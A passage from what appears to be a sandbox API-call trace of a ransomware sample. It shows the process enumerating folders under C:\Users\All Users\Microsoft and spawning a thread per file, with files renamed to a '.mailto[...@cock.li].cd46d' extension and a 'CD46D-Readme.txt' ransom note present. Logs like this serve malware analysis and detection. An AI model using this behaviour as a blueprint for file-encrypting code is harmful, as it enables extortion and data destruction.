Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0066.965] wcscat (in: _Dest=0x96e76d8, _Source="tokens.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0066.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x96e76d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124 [0066.966] FindNextFileW (in: hFindFile=0x4a61a0, lpFindFileData=0x426528 | out: lpFindFileData=0x426528*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0066.966] FindClose (in: hFindFile=0x4a61a0 | out: hFindFile=0x4a61a0) returned 1 [0066.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426528) returned 1 [0066.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec7d80) returned 1 [0066.967] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446c38) returned 1 Thread: id = 1484 os_tid = 0x1880 [0066.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x46) returned 0x444f00 [0066.415] wcscpy (in: _Dest=0x444f00, _Source="C:\\Users\\All Users\\Microsoft\\RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0066.415] wcscat (in: _Dest=0x444f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\" [0066.415] wcscat (in: _Dest=0x444f00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\*") returned="C:\\Users\\All Users\\Microsoft\\RAC\\*" [0066.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424d18 [0066.415] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\*", lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6160 [0066.416] wcscmp (_String1=".", _String2=".") returned 0 [0066.416] FindNextFileW (in: hFindFile=0x4a6160, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.416] wcscmp (_String1="..", _String2=".") returned 1 [0066.416] wcscmp (_String1="..", _String2="..") returned 0 [0066.416] FindNextFileW (in: hFindFile=0x4a6160, lpFindFileData=0x424d18 | out: lpFindFileData=0x424d18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0066.416] wcscmp (_String1="Outbound", _String2=".") returned 1 [0066.416] wcscmp (_String1="Outbound", _String2="..") returned 1 [0066.416] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x449fb0 [0066.416] wcscpy (in: _Dest=0x449fb0, _Source="C:\\Users\\All Users\\Microsoft\\RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0066.416] wcscat (in: _Dest=0x449fb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\" [0066.416] wcscat (in: _Dest=0x449fb0, _Source="Outbound" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound" Thread: id = 1485 os_tid = 0x1884 [0066.416] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413de0 [0066.416] wcscpy (in: _Dest=0x413de0, _Source="C:\\Users\\All Users\\Microsoft\\Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0066.416] wcscat (in: _Dest=0x413de0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\" [0066.416] wcscat (in: _Dest=0x413de0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\*" [0066.416] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x424f80 [0066.416] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6420 [0066.417] wcscmp (_String1=".", _String2=".") returned 0 [0066.417] FindNextFileW (in: hFindFile=0x4a6420, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.417] wcscmp (_String1="..", _String2=".") returned 1 [0066.417] wcscmp (_String1="..", _String2="..") returned 0 [0066.417] FindNextFileW (in: hFindFile=0x4a6420, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0066.417] wcscmp (_String1="Data", _String2=".") returned 1 [0066.417] wcscmp (_String1="Data", _String2="..") returned 1 [0066.417] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x44abb0 [0066.417] wcscpy (in: _Dest=0x44abb0, _Source="C:\\Users\\All Users\\Microsoft\\Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0066.417] wcscat (in: _Dest=0x44abb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\" [0066.417] wcscat (in: _Dest=0x44abb0, _Source="Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0066.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44abb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1374 [0066.968] FindNextFileW (in: hFindFile=0x4a6420, lpFindFileData=0x424f80 | out: lpFindFileData=0x424f80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0066.968] FindClose (in: hFindFile=0x4a6420 | out: hFindFile=0x4a6420) returned 1 [0066.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424f80) returned 1 [0066.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413de0) returned 1 [0066.969] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4451d0) returned 1 Thread: id = 1486 os_tid = 0x1888 [0066.424] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x5ed5c88 [0066.424] wcscpy (in: _Dest=0x5ed5c88, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0066.424] wcscat (in: _Dest=0x5ed5c88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0066.424] wcscat (in: _Dest=0x5ed5c88, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*" [0066.424] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x427600 [0066.424] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0402260, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa0402260, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a6460 [0066.424] wcscmp (_String1=".", _String2=".") returned 0 [0066.424] FindNextFileW (in: hFindFile=0x4a6460, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa0402260, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa0402260, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.424] wcscmp (_String1="..", _String2=".") returned 1 [0066.424] wcscmp (_String1="..", _String2="..") returned 0 [0066.424] FindNextFileW (in: hFindFile=0x4a6460, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1 [0066.424] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2=".") returned 1 [0066.424] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2="..") returned 1 [0066.424] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x98) returned 0x5ec4be8 [0066.424] wcscpy (in: _Dest=0x5ec4be8, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0066.425] wcscat (in: _Dest=0x5ec4be8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0066.425] wcscat (in: _Dest=0x5ec4be8, _Source="5p5NrGJn0jS HALPmcxz.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" [0066.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec4be8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98 [0066.970] FindNextFileW (in: hFindFile=0x4a6460, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9e04d860, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x9e04d860, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9e3473e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0066.970] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0066.970] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0066.970] FindNextFileW (in: hFindFile=0x4a6460, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0066.970] wcscmp (_String1="Default Pictures", _String2=".") returned 1 [0066.971] wcscmp (_String1="Default Pictures", _String2="..") returned 1 [0066.971] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x19ccc210 [0066.971] wcscpy (in: _Dest=0x19ccc210, _Source="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0066.971] wcscat (in: _Dest=0x19ccc210, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\" [0066.971] wcscat (in: _Dest=0x19ccc210, _Source="Default Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" [0066.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x19ccc210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1110 [0066.972] FindNextFileW (in: hFindFile=0x4a6460, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc13b, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="")) returned 1 [0066.972] wcscmp (_String1="guest.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0066.972] wcscmp (_String1="guest.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0066.972] FindNextFileW (in: hFindFile=0x4a6460, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc139, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="")) returned 1 [0066.972] wcscmp (_String1="user.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0066.972] wcscmp (_String1="user.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0066.972] FindNextFileW (in: hFindFile=0x4a6460, lpFindFileData=0x427600 | out: lpFindFileData=0x427600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc139, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="")) returned 0 [0066.972] FindClose (in: hFindFile=0x4a6460 | out: hFindFile=0x4a6460) returned 1 [0066.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x427600) returned 1 [0066.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5c88) returned 1 [0066.972] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43c4e0) returned 1 Thread: id = 1487 os_tid = 0x188c [0066.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414620 [0066.425] wcscpy (in: _Dest=0x414620, _Source="C:\\Users\\All Users\\Microsoft\\Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0066.425] wcscat (in: _Dest=0x414620, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\") returned="C:\\Users\\All Users\\Microsoft\\Vault\\" [0066.425] wcscat (in: _Dest=0x414620, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault\\*") returned="C:\\Users\\All Users\\Microsoft\\Vault\\*" [0066.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426c60 [0066.425] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a64a0 [0066.425] wcscmp (_String1=".", _String2=".") returned 0 [0066.425] FindNextFileW (in: hFindFile=0x4a64a0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.425] wcscmp (_String1="..", _String2=".") returned 1 [0066.426] wcscmp (_String1="..", _String2="..") returned 0 [0066.426] FindNextFileW (in: hFindFile=0x4a64a0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0066.426] FindClose (in: hFindFile=0x4a64a0 | out: hFindFile=0x4a64a0) returned 1 [0066.426] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426c60) returned 1 [0066.426] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414620) returned 1 [0066.426] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445270) returned 1 Thread: id = 1488 os_tid = 0x1890 [0066.427] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x414620 [0066.427] wcscpy (in: _Dest=0x414620, _Source="C:\\Users\\All Users\\Microsoft\\VISIO" | out: _Dest="C:\\Users\\All Users\\Microsoft\\VISIO") returned="C:\\Users\\All Users\\Microsoft\\VISIO" [0066.427] wcscat (in: _Dest=0x414620, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\VISIO\\") returned="C:\\Users\\All Users\\Microsoft\\VISIO\\" [0066.427] wcscat (in: _Dest=0x414620, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\VISIO\\*") returned="C:\\Users\\All Users\\Microsoft\\VISIO\\*" [0066.427] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426c60 [0066.427] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a64a0 [0066.427] wcscmp (_String1=".", _String2=".") returned 0 [0066.427] FindNextFileW (in: hFindFile=0x4a64a0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.427] wcscmp (_String1="..", _String2=".") returned 1 [0066.427] wcscmp (_String1="..", _String2="..") returned 0 [0066.427] FindNextFileW (in: hFindFile=0x4a64a0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0066.428] FindClose (in: hFindFile=0x4a64a0 | out: hFindFile=0x4a64a0) returned 1 [0066.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x426c60) returned 1 [0066.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x414620) returned 1 [0066.428] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4450e0) returned 1 Thread: id = 1489 os_tid = 0x1894 [0066.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414620 [0066.429] wcscpy (in: _Dest=0x414620, _Source="C:\\Users\\All Users\\Microsoft\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0066.429] wcscat (in: _Dest=0x414620, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\" [0066.429] wcscat (in: _Dest=0x414620, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\*" [0066.429] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x426c60 [0066.429] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\*", lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4a64a0 [0066.429] wcscmp (_String1=".", _String2=".") returned 0 [0066.429] FindNextFileW (in: hFindFile=0x4a64a0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.429] wcscmp (_String1="..", _String2=".") returned 1 [0066.429] wcscmp (_String1="..", _String2="..") returned 0 [0066.429] FindNextFileW (in: hFindFile=0x4a64a0, lpFindFileData=0x426c60 | out: lpFindFileData=0x426c60*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, 